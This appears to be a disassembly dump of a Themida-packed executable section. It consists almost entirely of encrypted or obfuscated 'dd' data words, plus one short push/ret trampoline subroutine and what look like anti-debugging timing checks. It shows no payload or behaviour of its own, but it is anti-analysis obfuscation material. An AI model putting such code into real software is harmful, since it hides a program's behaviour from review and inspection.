		dd 151B6829h, 0BE95F75h, 1D000000h, 0FDE14433h,	33DD645Bh
		dd 4817884h, 9AA0C724h,	10E92Ah, 0EE9E0000h, 8A440664h
		dd 0D017DA9h, 153E4D7Eh, 0B5FFC208h, 60F2CA1h, 1929B501h
		dd 858D060Fh, 61272E7h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 58C35646h, 0DF81A50Eh, 48184ACCh, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 667457C3h, 142B4A4Fh, 136FA0Ch, 0F10C595h, 89B58906h
		dd 89060F09h, 0F0B5D9Dh, 9D858906h, 6A060F32h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 5E32C357h, 0BD839CB6h, 60F28FDh, 0A9850F00h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 42CCC353h, 0C9E5BA66h, 24FD85C6h,	6656060Fh
		dd 5368FE8Bh, 66A29215h, 481F98Bh, 8D57E624h, 50006A31h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0FF264681h, 0F2CA1B5h, 29BF6606h, 0E7858DE7h, 53061272h
		dd 0FF5AD38Ah, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 10F976DCh, 943DFD3Bh
		dd 97DBD8Bh, 8589060Fh,	60F28FDh, 68F0Fh, 0EF810000h, 642F4F97h
		dd 24FD85C6h, 6A6C060Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0A83FC350h,	1148D9AAh
		dd 20EB68A8h, 0FE88B5Ah, 0F4000000h, 6786CB5Ah,	0B5D2BC70h
		dd 0EFE794D2h, 0F605E47h, 84h, 615E5600h, 2434815Ah, 505F5068h
		dd 19759509h, 0B5FF060Fh, 60F1CE5h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 89C35343h, 9D8B6078h, 60F3365h
		dd 0B8858D61h, 6A060F3Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 8B49C352h, 0F1A81BDh
		dd 12E806h, 50A30000h, 0D761808Ch, 0A32C2638h, 59E76E71h
		dd 6C64FC31h, 0F8D0FF59h, 0A7978589h, 6A0612h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 6347FAC3h, 89F8AD45h, 0E981662Fh, 0BD8370C5h, 612A7B3h
		dd 4850F00h, 6A000001h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 2FAEC353h, 0D73EFF7Eh
		dd 0C697B66Fh, 0F24FD85h, 6A4906h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 692D66C3h, 7F057DC5h
		dd 15C7BF66h, 4E8h, 1529E900h, 11890F8Ch, 0E8000000h, 5
		dd 0E04FDCB6h, 870FA1h,	5A000000h, 1B20B950h, 448B1982h
		dd 850F0424h, 2, 8B6160h, 3E5117BFh, 24448961h,	1A8A0F04h
		dd 0E8000000h, 5, 9376E6EFh, 9E819h, 0F9990000h, 0D647B7A1h
		dd 5A2D20E5h, 0B5FF5859h, 60F1CE5h, 9949BA66h, 3AB8858Dh
		dd 10E9060Fh, 13000000h, 0B69FB7Eh, 9FEF4FB1h, 46CF145Ch
		dd 0FFF0A2D4h, 11BD8BD0h, 89060F09h, 12A7B385h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0CA57412Ch, 6AA36491h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 6B0A686Bh
		dd 4818411h, 0EEA4F624h, 53006A7Bh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0F2588E37h, 4E80A4Dh
		dd 0
		dd 0E9000100h, 10h, 8BFEC5A0h, 0F4230F5Dh, 0EECA325Dh
		dd 319D85D8h, 19BA6650h, 24448B11h, 0F525004h, 80h, 8B310F00h
		dd 8B585AFAh, 89C88B00h, 8B042444h, 6A58F8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 8F5294C3h
		dd 8B803C9Fh, 0F1731BDh, 3006A06h, 0F16ADBDh, 0AD95FF06h
		dd 6A060F13h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 245AC355h, 0BF0FF39Ah,	0A38589CEh
		dd 6A0612A7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0E4D5C352h, 3840BE91h,	81805B19h
		dd 0AB601AF7h, 9B85C709h, 612A7h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 9FB0C356h, 0C2166017h, 0D7C7A05Dh, 975BD03h,	6A060Fh
		dd 4E8h, 1000000h, 0DE900h, 0BA000000h,	0CA83AAEAh, 331836D5h
		dd 50548A51h, 448BD68Bh, 0B9660424h, 8BC80Bh, 4244489h
		dd 8B78B560h, 575861F0h, 174DBD29h, 505F060Fh, 50505250h
		dd 5A310F52h, 310F5A58h, 5AC88B66h, 24048958h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0BC35040h, 87BEEE18h
		dd 1E5F50CCh, 344DBD8Bh, 0B6A060Fh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 79C35040h, 0A5C16BDEh, 585E3289h
		dd 858DF8E2h, 612A770h,	10298531h, 0E990060Fh, 0Ch, 0CF85D22Ch
		dd 0F6ADE321h, 1BF5DD1Eh, 7E850h, 3D550000h, 0B5ADF0FCh
		dd 12E96003h, 84000000h, 0BF33BE02h, 0E83FDE65h, 0F0863A02h
		dd 4CD64CB7h, 8E0FA7h, 61000000h, 14E9905Fh, 0C6000000h
		dd 342CD1FBh, 3CFBC3C2h, 5694835Ch, 819D1575h, 0FFC30A7Fh
		dd 0F1A5195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0DD678920h, 0F39615C4h, 8DF558C2h
		dd 12A77AB5h, 0C88B6606h, 4ED4BA96h, 60507809h,	0E808D7BEh
		dd 6A966169h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 65B0C357h, 825BD29h, 5190060Fh
		dd 2169BA60h, 5850199Fh, 66505A61h, 6A90F98Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 1C9AC357h, 85891D79h, 60F1A49h, 0FFCB8B66h, 0F329D95h
		dd 0E1BD8B06h, 0B060F13h, 34850FC0h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 719DC350h, 0B438B540h, 2DE93DB6h, 8B000007h,	0F04F9BDh
		dd 0C9850106h, 0FF060F2Dh, 5DBD8BD0h, 8B060F17h, 12A7A3B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 9509FED8h, 60F169Dh, 0A2D624BAh,	20468D70h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 18C35242h
		dd 215A2Ah, 66046A9Dh, 50E43DB9h, 4895A52h, 35B58924h
		dd 0FF060F09h, 12A7B395h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 958999E3h
		dd 60F15D1h, 840FC00Bh,	7Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 3C35040h, 0A3677F54h, 6078DA42h
		dd 0BD858960h, 0E9060F01h, 10h,	14A43B69h, 0E9DF7337h
		dd 0F5806051h, 0DEA50460h, 5E961h, 1C450000h, 61599F12h
		dd 633E9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0C8D7B183h, 1635B529h, 0C2B9060Fh
		dd 80608C29h, 0F00207Eh, 5FF84h, 10E900h, 779D0000h, 19CE9EEBh
		dd 0D385EE61h, 0F72D1C8Eh, 6A609EC8h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 581AC353h
		dd 0F281665Eh, 20468D9Ch, 2A618D89h, 8589060Fh,	612A79Fh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6DC35242h
		dd 0F912C3CBh, 122E9h, 51006A00h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8BAD9215h, 6A40F9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 80F15BC3h, 95019F1Ch, 60F2861h, 35BB6050h, 0E87E7499h
		dd 8, 0C96EBB0Ch, 2265DB6Dh, 0FE9h, 21F7FC00h, 7B1C3C3Bh
		dd 0ECC95FB1h, 722EEAC6h, 4896158h, 0CF816624h,	46A9B87h
		dd 90FEB70Fh, 38F0F50h,	66000000h, 0E990D78Bh, 0Fh, 0A6F02F80h
		dd 0D92CE4DAh, 27F937EAh, 0FF78E964h, 12A7B395h, 0B99D0106h
		dd 8B060F17h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8B6675B1h, 6A58CAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0FFC326C3h
		dd 0EEC172EDh, 0F8157E25h, 840FDB0Bh, 27h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 5FC35040h, 476E9ADh
		dd 81660000h, 806185D2h, 850F0038h, 0FFFFFEF5h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0CAC35040h, 4BEED93h
		dd 8159F5EBh, 0C67F8BCFh, 0E9E5B120h, 38h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2CC35747h, 44DB8667h
		dd 4892C680h, 8C0F60h, 89000000h, 0F141D8Dh, 958B6106h
		dd 60F13D5h, 0A79F853Bh, 820F0612h, 37h, 7B58D8Bh, 3880060Fh
		dd 28840F5Ch, 0F9000000h, 7E8h,	0B95B6000h, 571E30AAh
		dd 38D0Fh, 0BF0F0000h, 388059D0h, 0B0850F2Fh, 51FFFFFFh
		dd 31F19529h, 405F060Fh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 0FDC35040h, 373079D9h, 0BF3F0B3Fh, 0E5BD3391h
		dd 89060F1Eh, 0F140DB5h, 0A7BD8306h, 612A7h, 189840Fh
		dd 0FA8B0000h, 0EE95190h, 0AD000000h, 2847A9E4h, 0B436D9F0h
		dd 0D999242Fh, 0E950599Dh, 9, 230FE68h,	0CA3677B2h, 8503908Ah
		dd 612A7A7h, 14FD8D8Bh,	0E950060Fh, 0Ah, 0C1B25C3Dh, 7FADF2Eh
		dd 489C51Ah, 51006A24h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0E4BA12D9h, 0FABF0F0Ch, 3D8D8B56h
		dd 5F060F22h, 6A046Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 3638C7C3h, 96E534C5h, 0BF333E43h
		dd 54C53129h, 2BE59D89h, 8950060Fh, 6A2404h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 29AD1CC3h
		dd 14018D29h, 810F060Fh, 2, 95FFD1B2h, 612A7B3h, 0BD09D88Bh
		dd 60F3195h, 10E9h, 0D6E0AE00h,	7A053678h, 0FCD1E26h, 211EB213h
		dd 8A0F581Ch, 3, 0B03ED80h, 74840FDBh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 6ED1C357h, 2840CE07h, 5E7E2CF3h, 0CE8h, 0A08C7000h
		dd 0B294BF1Ch, 7967B5A9h, 39E95946h, 6A000002h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0C91EC353h, 18D293Dh, 0E9060F2Ah, 0Fh, 46A30B33h, 9F296F60h
		dd 17BA7716h, 0C60871D5h, 23500000h, 0F340195h,	90585906h
		dd 0F50A3B1h, 2482h, 50525000h,	5A310F52h, 0E9310F58h
		dd 13h,	46BFBED6h, 0F13B84C4h, 0CAF96060h, 97601E63h, 5AA68788h
		dd 81669058h, 6A0D58C1h, 57006A1Eh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 2194847Fh, 631233Ah, 529098CFh
		dd 11E9h, 89710400h, 64C7D706h,	66F2D389h, 8834426Dh, 505A9F9Ah
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 6273EC44h, 0FF12B1BDh, 12A7B395h, 0F1BD8906h
		dd 8B060F07h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 48F30486h, 0F461D7Bh, 588h, 0CA816600h
		dd 0E85802D2h, 9, 8AD5542h, 759F9E4Ah, 3C0CBA14h, 0B59292Ch
		dd 30840FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 736EC356h, 3B5FD3C4h
		dd 9BDEE982h, 0DAE9F9h,	81660000h, 902F71CAh, 68A0Fh, 8E0F0000h
		dd 0
; ---------------------------------------------------------------------------
		push	eax
		push	esi
		mov	dx, 7975h
		pop	edx
		nop
		mov	edi, eax
		push	dword ptr [ebp+612A793h]
		push	0
		push	ecx
		call	sub_586607
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_586607	proc near		; CODE XREF: Themida_:005865FFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_586607	endp

; ---------------------------------------------------------------------------
		db 89h
		dd 2A05669Ah, 8921E4A5h, 0F26C5B5h, 9795FF06h, 8B0612A7h
		dd 0FC00BC8h, 4485h, 61D08B00h,	1E418D89h, 85C7060Fh, 612A79Bh
		dd 1, 9CE6BA66h, 71BCB966h, 5FE9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 198D936Ah
		dd 0B5A73326h, 8C0F614Ah, 17h, 10E960h,	9DBF0000h, 7609F3F3h
		dd 6C0AEE8Ch, 0D045AC2Fh, 81611E21h, 11CC6h, 6850F00h
		dd 8B000000h, 0F34CDBDh, 0F91BE906h, 0B529FFFFh, 60F015Dh
		dd 0B892968h, 11E919h, 580000h,	32A9896Ah, 0CCEAAC3Eh
		dd 47CEA425h, 814D82F7h, 9292434h, 9D01190Bh, 60F1011h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 6423FFC3h, 666986E5h, 8D89D18Bh, 60F2FF5h
		dd 0A7A3B5FFh, 66600612h, 8BB69FBEh, 0F28C18Dh,	95FF6106h
		dd 60F28FDh, 9B858BF9h,	6A0612A7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 2338C353h
		dd 0F4B5D2Fh, 786h, 45B95300h, 59221A02h, 49B96690h, 0F6B6504Ah
		dd 0D19D8990h, 8D060F11h, 12A7AB85h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 311A5BABh
		dd 547F0BFFh, 89F38A50h, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 15870DC3h, 1EEDF377h
		dd 57BAD44Ah, 89067BF9h, 0F0FF995h, 68858D06h, 6A0612A7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0B6D6C356h, 9A91082Ah, 8B6690DEh,	0CC8A50D0h
		dd 6EED8090h, 29B195FFh, 0CE8060Fh, 68000000h, 0A0239B6Bh
		dd 3F69A70Dh, 89DDA6CDh, 0F0A89BDh, 0C08B5A06h,	1989BD89h
		dd 0BD83060Fh, 60F1891h, 83097500h, 0F26ADBDh, 13740006h
		dd 0C08B5350h, 4D0B8h, 0F39D8D00h, 0FF0611ADh, 83585BD3h
		dd 0F26ADBDh, 11740006h, 0D0B85350h, 8D000004h,	11ACF29Dh
		dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 2E158CB3h, 0E8B8C7EBh, 0CF1BBF66h
		dd 0EE9h, 57EFB700h, 47864D8h, 634140FDh, 0BF044B5Fh, 430F0D4Dh
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 64B211C3h, 8E9h, 89590F00h, 1AA508BEh, 6A585Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FC6E2C3h, 8C2D7BFh,	0BD295600h, 60F2C39h, 6AC08B5Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 62CFC352h, 0B9A68401h, 1D109C33h,	0E9FAD980h
		dd 0Fh,	0FD432BD7h, 0F5A03BF5h,	98BF7080h, 8D0793A4h, 12A7C085h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 0DD25170Ah, 0E12A390Ah, 8D0FE52Bh, 0Ch
		dd 6850Fh, 958B0000h, 60F2FD5h,	0F57F88Bh, 68Ah, 9D958900h
		dd 5A060F31h, 1C918589h, 39EB060Fh, 0C30000h, 0C302CCh
		dd 0C302E4h, 0
		dd 46D6ABFBh, 77CFA780h, 23DEAF8Ah, 4ED5AB86h, 4FDFEC95h
		dd 77F5C210h, 23F78E7Ah, 53F4B651h, 4BEFACEAh, 47DAA7B5h
		dd 23D1A2E3h, 23B82AA1h, 7B9BC2F8h, 67329ABFh, 673AC61Ah
		dd 23ADC63Bh, 73FBC28Fh, 3B933D04h, 5C67F6Ah, 0E330C4FEh
		dd 0CBEAC292h, 23BBC27Fh, 7A789B1Eh, 279F8E96h,	279F860Eh
		dd 23BBC2D1h, 357893A2h, 0B630D307h, 25B4E961h,	3B2A7FFFh
		dd 56BBC431h, 8E064116h, 23BDCDA9h, 70EBDBB3h, 9A030268h
		dd 0AABBC2F5h, 2CBBE77Dh, 9B264F7Ah, 0DCBDD391h, 0A0E399CCh
		dd 2C9D6F32h, 34CFC2C1h, 9A0391B3h, 0AABBC2F5h,	2CBBE77Dh
		dd 84264F7Ah, 0DCBDD392h, 49E399CCh, 2053918Fh,	3BBC2C7h
		dd 0AAE001B8h, 0A2BFE6ADh, 34BFE6BCh, 60BBC27Ch, 0C505016Dh
		dd 9E92DB48h, 25B4E462h, 0A86B7DC8h, 8E064B23h,	2CBDCDDBh
		dd 23BBC47Dh, 233ECD7Ch, 0E5BBC23Eh, 2C9F3F9Ah,	4B439489h
		dd 0A692F654h, 23BBCB0Bh, 0FB3497F1h, 0CC31794h, 0EC300064h
		dd 7BF4364h, 34C441A0h,	0CBE9C2E5h, 23BBC2C4h, 797898C3h
		dd 279F9678h, 279F8679h, 23BBC26Bh, 978907Ch, 0CA4CFD0Ch
		dd 23BBC286h, 15EE67A2h, 543AA77Bh, 820E3DCEh, 49BDCDD4h
		dd 2053907Ch, 3BBC23Eh,	0AAE10145h, 0A2BFE6DBh,	34BFE683h
		dd 61BBC2E3h, 50D801A3h, 0B6329DD3h, 25B4F665h,	0AEB818BEh
		dd 31C9259Ah, 72BBA889h, 23BBC12Fh, 0E0E2E2E3h,	7F74BA8h
		dd 7FF43FCh, 23BBD678h,	0E0EA833Eh, 0DC5748E4h,	76BBA85Fh
		dd 23BBC12Fh, 0E0E6E2E3h, 7D74BACh, 7FF43FCh, 23BBDE78h
		dd 0E0EE873Eh, 5DF2F214h, 0AB40EDDEh, 0E501A4CCh, 49BFA861h
		dd 205397F1h, 3BBC2F8h,	0AAE60121h, 0A2BFE652h,	34BFE65Bh
		dd 66BBC28Fh, 3280192h,	968A7628h, 25B4F61Ch, 47461690h
		dd 23BD2A70h, 2626C23Eh, 22FB7F40h, 37E87CE9h, 78F4398h
		dd 2FDF2F37h, 0CBEBC29Bh, 23BBC2FBh, 7B789A5Ch,	279F86B7h
		dd 279F869Eh, 23BBC292h, 9B789287h, 39961389h, 1FD5C6A2h
		dd 236C1B9h, 0CBBDCD4Fh, 23BBC23Ah, 23BBC0F3h, 71D04330h
		dd 0AA0492F0h, 0A88D5634h, 0CABFE6B5h, 23BBC2E9h, 8CE465AFh
		dd 43CA7FE8h, 0E04D4AFFh, 85B36B80h, 9DBB4925h,	7A7D2EC8h
		dd 279F8678h, 23BBCA11h, 0D772757Ch, 0C7D2284Dh, 23D19AEAh
		dd 23B82ADCh, 789BC2C7h, 7F329920h, 673AC6D5h, 23ADC6DCh
		dd 70F8C27Ch, 3FB432FDh, 6D64F96h, 23D1C480h, 0DC6B49A1h
		dd 0DB30A433h, 99014778h, 0A8DDC4EAh, 264349ACh, 23BBC0F2h
		dd 99054796h, 0E338C49Dh, 0E13E4BDFh, 10BDD059h, 21577B31h
		dd 8948C2F8h, 0CA4B491Ah, 23BBC23Bh, 19A1B81Eh,	75BBA861h
		dd 23BBC12Fh, 0E0E5E2E3h, 7CF4BAFh, 7FF43FCh, 23BBD578h
		dd 0E0ED843Eh, 0F98C2768h, 7464749h, 49F8C4C8h,	205393E3h
		dd 3BBC2F1h, 0AAE201A1h, 0A2BFE630h, 36BFE67Ah,	62BBC21Fh
		dd 0DFAC01DEh, 0DEE774Eh, 0A8DDC4ECh, 7696AA3Ah, 2CDB5259h
		dd 23BBC4F4h, 233FCD3Eh, 42BBC21Fh, 509FF60Eh, 49B704F9h
		dd 205393E3h, 3BBC2F1h,	0AAE201A1h, 0A2BFE630h,	3EBFE67Ah
		dd 62BBC21Fh, 0CC8101DEh, 0A7170257h, 0A2592400h, 30C67FD2h
		dd 9644C4F7h, 25B4EEDDh, 0CBE9C254h, 23BBC21Ch,	797898AFh
		dd 279F964Eh, 279F8662h, 23BBC2E7h, 0B7890BAh, 0A6362D1Dh
		dd 25A9B0D9h, 51A26A6h,	86B3D97h, 2C995F7Ah, 0D63E4BE5h
		dd 0AEBDCDD8h, 2C96177Dh, 4E0E4B7Ah, 0AABDCD0Ah, 2C8F4F9Ah
		dd 70BBA889h, 23BBC12Fh, 0E0E0E2E3h, 7E74BAAh, 7FF43FCh
		dd 23BBD678h, 0E0E8813Eh, 2E05A4BBh, 0DE3E04F1h, 70BDCDE3h
		dd 23BBD00Bh, 90BAE9F1h, 843CADA6h, 378E8CBFh, 36C04218h
		dd 0CA08DD9Ch, 23BBC284h, 7B0AE82Eh, 0F18260DCh, 79C498E1h
		dd 0DF3A6390h, 23BC2BDCh, 30CFC23Eh, 11797FDEh,	7BF4386h
		dd 780F05F0h, 0CBEDC289h, 23BBC2F2h, 7D789CD8h,	279FB6F5h
		dd 279F86BFh, 23BBC202h, 497894C9h, 0D5F48011h,	0F4C446ABh
		dd 6A064B47h, 0DCBDCDE1h, 2C9763C9h, 72BBA838h,	23BBC1F7h
		dd 0E0E2E28Fh, 7F74B9Eh, 7FF43E7h, 23BBD7F5h, 0E0EA83F8h
		dd 0A2DDB62Ch, 0AEE5F9F0h, 31C9259Ah, 0CA3AA489h, 0F344EF6Dh
		dd 5CE5F6Ah, 3352C4FEh,	6DBBC2F8h, 10934201h, 0D58190DFh
		dd 0AC6C1C92h, 0AA86A9C5h, 2C8F9342h, 0E5E192E5h, 2C9F3F74h
		dd 0B63091FEh, 25B4D419h, 91F6756h, 0A27149D2h,	43ADE6BBh
		dd 23D1D7F5h, 23B82AB1h, 799BC2F1h, 7732983Bh, 673AC658h
		dd 23A7C61Ah, 71F9C21Fh, 5A37754Ch, 17BAB0EAh, 24524DA2h
		dd 0D3BBC2F1h, 4D0F25DBh, 96441F90h, 25B4EE9Fh,	0CBE8C275h
		dd 23BBC28Ch, 787899E7h, 279F9E6Ah, 279F8670h, 23BBC2E3h
		dd 6878913Fh, 3F5A5788h, 0AA120E31h, 2CA3233Ah,	0A2DDA2C1h
		dd 0CA91EA38h, 23BBC2F9h, 40B264C9h, 88257C5Bh,	0C43E4F5Fh
		dd 0AABDD06Dh, 2C92C712h, 496B3DC1h, 205391E3h,	3BBC2F1h
		dd 0AAE001A3h, 0A2BFE620h, 38BFE67Ah, 60BBC21Fh, 84E01DCh
		dd 602761EEh, 0A2DD6D9Fh, 0AAAB4400h, 2C9C3F7Dh, 71BBA87Ah
		dd 23BBC1D6h, 0E0E1E21Fh, 7EF4BD5h, 7FF43C3h, 23BBD9E7h
		dd 0E0E980F1h, 959CE923h, 0CBE37635h, 898108BFh, 0AE30AD22h
		dd 25B4E0AEh, 17FE574Ch, 0A67DC4ECh, 25B4E60Ch,	72BBA8BFh
		dd 23BBC194h, 0E0E2E23Eh, 7F74B46h, 7FF438Bh, 23BBD4C3h
		dd 0E0EA83E3h, 0D6E2B48Dh, 92915390h, 7BF43F8h,	10967126h
		dd 106A571Eh, 3052C480h, 30BBC2C7h, 69881990h, 8A2D9926h
		dd 2259A409h, 0DEF73678h, 9644A8E6h, 25B4EEBEh,	2E4A43E9h
		dd 0DD04CDF9h, 515C476Eh, 23D1C4E3h, 23B82AA8h,	7B9BC27Ch
		dd 67329AFDh, 673AC63Bh, 23AEC6ABh, 73FBC2C7h, 0DC548620h
		dd 0E23E4B21h, 49BDCDDEh, 2053947Ch, 3BBC23Eh, 0AAE50141h
		dd 0A2BFE6FBh, 3EBFE683h, 65BBC2E3h, 0FA8E01A7h, 0B7393F9h
		dd 2A02D37h, 0E5447D31h, 2C9F3F9Ah, 0A9D38589h,	0CB6E80B1h
		dd 23BBC2F1h, 0FEABF08h, 70515F4Ch, 0FCD4A4E8h,	89A7FF8Bh
		dd 71EBF03Ah, 0F7617DE9h, 7BE1F3C8h, 78F43BAh, 7725A401h
		dd 0CBE8C292h, 23BBC27Fh, 7878991Eh, 279F9E96h,	279F860Eh
		dd 23BBC2DFh, 187891A0h, 93B2170Eh, 23C25773h, 9644C473h
		dd 25B4EE9Fh, 0CBEEC275h, 23BBC28Ch, 7E789FE7h,	279FAE6Ah
		dd 279F8670h, 23BBC2EFh, 6E789739h, 0AA64F84Bh,	2C8A9392h
		dd 0C43E4F89h, 49BDD0B5h, 205392E3h, 3BBC2F1h, 0AAE301A0h
		dd 0A2BFE638h, 39BFE67Ah, 63BBC21Fh, 9BE201DFh,	50DA46FDh
		dd 0DCF27322h, 73BBA821h, 23BBC110h, 0E0E3E27Ch, 7FF4B66h
		dd 7FF431Bh, 23BBD48Bh,	0E0EB82C7h, 0CABB3E8Eh,	23BBC2FDh
		dd 0CA1B1DCCh, 0A72FFB70h, 596751B5h, 6C883BA0h, 0A3E4BC5h
		dd 49BDCDD6h, 205394E3h, 3BBC2F1h, 0AAE501A6h, 0A2BFE608h
		dd 3BBFE67Ah, 65BBC21Fh, 84B601D9h, 0A876FDAEh,	2CABAB5Eh
		dd 0DE3E04F7h, 64BDCDDCh, 0B75A431Ah, 23BF2A43h, 1FE6C21Fh
		dd 0ED306842h, 0A8744897h, 43BFE6A7h, 23BB4CFEh, 0A8DAC2F8h
		dd 23A92A7Ch, 6E54C23Eh, 56B04FBAh, 0A1ADE227h,	0C4BAD5B1h
		dd 71943011h, 37B1974Fh, 6732989Ah, 7CEDC658h, 73BBA866h
		dd 23BBC1F7h, 0E0E3E28Fh, 7FF4B9Fh, 7FF43E7h, 23BBDEF5h
		dd 0E0EB82F8h, 722FF632h, 1211B25Bh, 9E3093F0h,	25B4CE02h
		dd 820E3D98h, 0CBBDCDCFh, 23BBC2F4h, 0F1D89CA7h, 8A264B7Eh
		dd 7DBDCD0Ah, 515C4792h
		dd 23D1C49Dh, 23B82A94h, 789BC2E3h, 7F329932h, 673AC6DCh
		dd 23A6C658h, 70F8C23Eh, 8196EBDCh, 50A614C0h, 0AAA638FAh
		dd 2CA93B76h, 496B3DF7h, 205393F8h, 3BBC27Ch, 0AAE20167h
		dd 0A2BFE653h, 36BFE6CBh, 62BBC2C7h, 7F2B01B2h,	0A4E91C70h
		dd 96328510h, 25B4F655h, 105A47B7h, 0A8DDC410h,	2C6B3D47h
		dd 23BBC746h, 0EF2E7BE3h, 0A632D847h, 25B4ED51h, 0CBEDC216h
		dd 23BBC23Dh, 7D789C3Fh, 279FB606h, 279F8646h, 23BBC2F9h
		dd 0BC7894B7h, 9ED8FDE7h, 0AFDDFC40h, 75BBA8E6h, 23BBC1F7h
		dd 0E0E5E28Fh, 7CF4B99h, 7FF43E7h, 23BBDEF5h, 0E0ED84F8h
		dd 0DD05C562h, 0EEDC7BF0h, 620649C1h, 7BDCD91h,	3A0E49C3h
		dd 29BDCDCBh, 693FCD31h, 0A8BBC2FBh, 0DE3E0485h, 6CBDCD1Ah
		dd 23BBD1F7h, 0F255378Fh, 824AE86Eh, 0F2E3C15Ch, 0B4341822h
		dd 0C3D9FE99h, 3B72774Dh, 4BE5C431h, 9190A2D8h,	23AA4680h
		dd 0CAEAC2C7h, 23BBC2E9h, 0E361F85Fh, 0DFB9A0EEh, 0A2E17E53h
		dd 2FB8E60Ah, 0AE32CFB4h, 25B4D062h, 0F1A7738h,	23D1C4ECh
